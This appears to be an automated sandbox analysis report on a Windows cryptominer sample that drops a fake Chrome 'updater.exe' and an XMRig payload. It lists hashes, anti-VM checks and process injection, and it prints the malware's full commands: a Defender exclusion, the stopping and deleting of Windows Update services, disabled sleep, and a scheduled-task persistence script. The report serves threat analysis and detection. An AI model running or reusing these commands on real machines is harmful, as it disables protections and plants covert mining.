Analysis
-
max time kernel
300s -
max time network
305s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
22-10-2022 22:17
Static task
static1
Behavioral task
behavioral1
Sample
75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe
Resource
win7-20220901-en
General
-
Target
75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe
-
Size
344KB
-
MD5
3690cf078a73caed866daa16b8736379
-
SHA1
e3b003bb6b7cd55934db7adeb8fe7637d3551585
-
SHA256
75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831
-
SHA512
d7aa02e12541693abce188a34076fb415ec362fecae72b57702be69651645e75cdd5d59d255317c868ccd3f0b8dd387a19493bebefcb6bdb43be50ef5bf35f5b
-
SSDEEP
6144:/q6LFGh9VpSaYmn9EqgJ/kv4yuoohDR8rxws7VtXLcBFlpSLMCo:/nwnu4Eqkyuoo/iruBFlJ
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
setup.exeupdater.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1600-190-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1600-191-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
Processes:
setup.exeupdater.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts setup.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe -
Executes dropped EXE 2 IoCs
Processes:
setup.exeupdater.exepid process 1996 setup.exe 836 updater.exe -
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule behavioral1/memory/1600-190-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1600-191-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
setup.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe -
Loads dropped DLL 2 IoCs
Processes:
RegSvcs.exetaskeng.exepid process 840 RegSvcs.exe 2032 taskeng.exe -
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\setup.exe themida C:\Users\Admin\AppData\Local\Temp\setup.exe themida behavioral1/memory/1996-75-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-76-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-77-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-78-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-79-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-81-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-82-0x000000013F730000-0x000000014042A000-memory.dmp themida behavioral1/memory/1996-84-0x000000013F730000-0x000000014042A000-memory.dmp themida C:\Users\Admin\AppData\Local\Temp\setup.exe themida behavioral1/memory/1996-122-0x000000013F730000-0x000000014042A000-memory.dmp themida \Program Files\Google\Chrome\updater.exe themida C:\Program Files\Google\Chrome\updater.exe themida behavioral1/memory/836-135-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-137-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-139-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-140-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-141-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-142-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-143-0x000000013F680000-0x000000014037A000-memory.dmp themida behavioral1/memory/836-145-0x000000013F680000-0x000000014037A000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida behavioral1/memory/836-187-0x000000013F680000-0x000000014037A000-memory.dmp themida -
Processes:
setup.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
setup.exeupdater.exepid process 1996 setup.exe 836 updater.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exeupdater.exedescription pid process target process PID 1000 set thread context of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 836 set thread context of 992 836 updater.exe conhost.exe PID 836 set thread context of 1600 836 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exesetup.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe setup.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1000 sc.exe 1596 sc.exe 1192 sc.exe 1980 sc.exe 1708 sc.exe 812 sc.exe 764 sc.exe 1600 sc.exe 1888 sc.exe 804 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1632 schtasks.exe 1020 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
WMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 506f08a964e6d801 powershell.exe -
Suspicious behavior: EnumeratesProcesses 35 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exepid process 1680 powershell.exe 592 powershell.exe 1696 powershell.exe 876 powershell.exe 320 powershell.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe 1600 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 37 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1680 powershell.exe Token: SeShutdownPrivilege 1392 powercfg.exe Token: SeShutdownPrivilege 1560 powercfg.exe Token: SeShutdownPrivilege 1700 powercfg.exe Token: SeDebugPrivilege 592 powershell.exe Token: SeShutdownPrivilege 1692 powercfg.exe Token: SeDebugPrivilege 1696 powershell.exe Token: SeDebugPrivilege 876 powershell.exe Token: SeShutdownPrivilege 960 powercfg.exe Token: SeDebugPrivilege 320 powershell.exe Token: SeShutdownPrivilege 1096 powercfg.exe Token: SeShutdownPrivilege 1576 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 1468 WMIC.exe Token: SeIncreaseQuotaPrivilege 1468 WMIC.exe Token: SeSecurityPrivilege 1468 WMIC.exe Token: SeTakeOwnershipPrivilege 1468 WMIC.exe Token: SeLoadDriverPrivilege 1468 WMIC.exe Token: SeSystemtimePrivilege 1468 WMIC.exe Token: SeBackupPrivilege 1468 WMIC.exe Token: SeRestorePrivilege 1468 WMIC.exe Token: SeShutdownPrivilege 1468 WMIC.exe Token: SeSystemEnvironmentPrivilege 1468 WMIC.exe Token: SeUndockPrivilege 1468 WMIC.exe Token: SeManageVolumePrivilege 1468 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1468 WMIC.exe Token: SeIncreaseQuotaPrivilege 1468 WMIC.exe Token: SeSecurityPrivilege 1468 WMIC.exe Token: SeTakeOwnershipPrivilege 1468 WMIC.exe Token: SeLoadDriverPrivilege 1468 WMIC.exe Token: SeSystemtimePrivilege 1468 WMIC.exe Token: SeBackupPrivilege 1468 WMIC.exe Token: SeRestorePrivilege 1468 WMIC.exe Token: SeShutdownPrivilege 1468 WMIC.exe Token: SeSystemEnvironmentPrivilege 1468 WMIC.exe Token: SeUndockPrivilege 1468 WMIC.exe Token: SeManageVolumePrivilege 1468 WMIC.exe Token: SeLockMemoryPrivilege 1600 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exeRegSvcs.exesetup.execmd.execmd.exedescription pid process target process PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 1000 wrote to memory of 840 1000 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe RegSvcs.exe PID 840 wrote to memory of 1996 840 RegSvcs.exe setup.exe PID 840 wrote to memory of 1996 840 RegSvcs.exe setup.exe PID 840 wrote to memory of 1996 840 RegSvcs.exe setup.exe PID 1996 wrote to memory of 1680 1996 setup.exe powershell.exe PID 1996 wrote to memory of 1680 1996 setup.exe powershell.exe PID 1996 wrote to memory of 1680 1996 setup.exe powershell.exe PID 1996 wrote to memory of 2044 1996 setup.exe cmd.exe PID 1996 wrote to memory of 2044 1996 setup.exe cmd.exe PID 1996 wrote to memory of 2044 1996 setup.exe cmd.exe PID 1996 wrote to memory of 1056 1996 setup.exe cmd.exe PID 1996 wrote to memory of 1056 1996 setup.exe cmd.exe PID 1996 wrote to memory of 1056 1996 setup.exe cmd.exe PID 1996 wrote to memory of 592 1996 setup.exe powershell.exe PID 1996 wrote to memory of 592 1996 setup.exe powershell.exe PID 1996 wrote to memory of 592 1996 setup.exe powershell.exe PID 2044 wrote to memory of 1000 2044 cmd.exe sc.exe PID 2044 wrote to memory of 1000 2044 cmd.exe sc.exe PID 2044 wrote to memory of 1000 2044 cmd.exe sc.exe PID 1056 wrote to memory of 1392 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1392 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1392 1056 cmd.exe powercfg.exe PID 2044 wrote to memory of 1596 2044 cmd.exe sc.exe PID 2044 wrote to memory of 1596 2044 cmd.exe sc.exe PID 2044 wrote to memory of 1596 2044 cmd.exe sc.exe PID 2044 wrote to memory of 812 2044 cmd.exe sc.exe PID 2044 wrote to memory of 812 2044 cmd.exe sc.exe PID 2044 wrote to memory of 812 2044 cmd.exe sc.exe PID 1056 wrote to memory of 1560 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1560 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1560 1056 cmd.exe powercfg.exe PID 2044 wrote to memory of 1192 2044 cmd.exe sc.exe PID 2044 wrote to memory of 1192 2044 cmd.exe sc.exe PID 2044 wrote to memory of 1192 2044 cmd.exe sc.exe PID 1056 wrote to memory of 1700 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1700 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1700 1056 cmd.exe powercfg.exe PID 2044 wrote to memory of 764 2044 cmd.exe sc.exe PID 2044 wrote to memory of 764 2044 cmd.exe sc.exe PID 2044 wrote to memory of 764 2044 cmd.exe sc.exe PID 2044 wrote to memory of 436 2044 cmd.exe reg.exe PID 2044 wrote to memory of 436 2044 cmd.exe reg.exe PID 2044 wrote to memory of 436 2044 cmd.exe reg.exe PID 1056 wrote to memory of 1692 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1692 1056 cmd.exe powercfg.exe PID 1056 wrote to memory of 1692 1056 cmd.exe powercfg.exe PID 2044 wrote to memory of 1948 2044 cmd.exe reg.exe PID 2044 wrote to memory of 1948 2044 cmd.exe reg.exe PID 2044 wrote to memory of 1948 2044 cmd.exe reg.exe PID 2044 wrote to memory of 1844 2044 cmd.exe reg.exe PID 2044 wrote to memory of 1844 2044 cmd.exe reg.exe PID 2044 wrote to memory of 1844 2044 cmd.exe reg.exe PID 2044 wrote to memory of 1540 2044 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe"C:\Users\Admin\AppData\Local\Temp\75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"5⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#hyrgjwg#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC5⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {1EDC64CF-7F70-4D62-902C-37BBE83181D3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe sqolsuydhn3⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"4⤵
- Drops file in Program Files directory
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe yaiuavjrxlzbmxlm GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1gPpwmfG4wZ3KDbx5PuSQNfaXWXA/ZHUajSlAeIWD5N63⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
7.1MB
MD5d38b0be7a75f44a464fae4850792d85f
SHA1b2f26d385e01704e04b56bde28b3e2a1892e4e7f
SHA25633b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727
SHA512d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c
-
C:\Program Files\Google\Chrome\updater.exeFilesize
7.1MB
MD5d38b0be7a75f44a464fae4850792d85f
SHA1b2f26d385e01704e04b56bde28b3e2a1892e4e7f
SHA25633b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727
SHA512d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c
-
C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
-
C:\Users\Admin\AppData\Local\Temp\setup.exeFilesize
7.1MB
MD50810352270005ca86d15c8ba0d2704ab
SHA16b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe
SHA256dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d
SHA512ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80
-
C:\Users\Admin\AppData\Local\Temp\setup.exeFilesize
7.1MB
MD50810352270005ca86d15c8ba0d2704ab
SHA16b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe
SHA256dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d
SHA512ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80
-
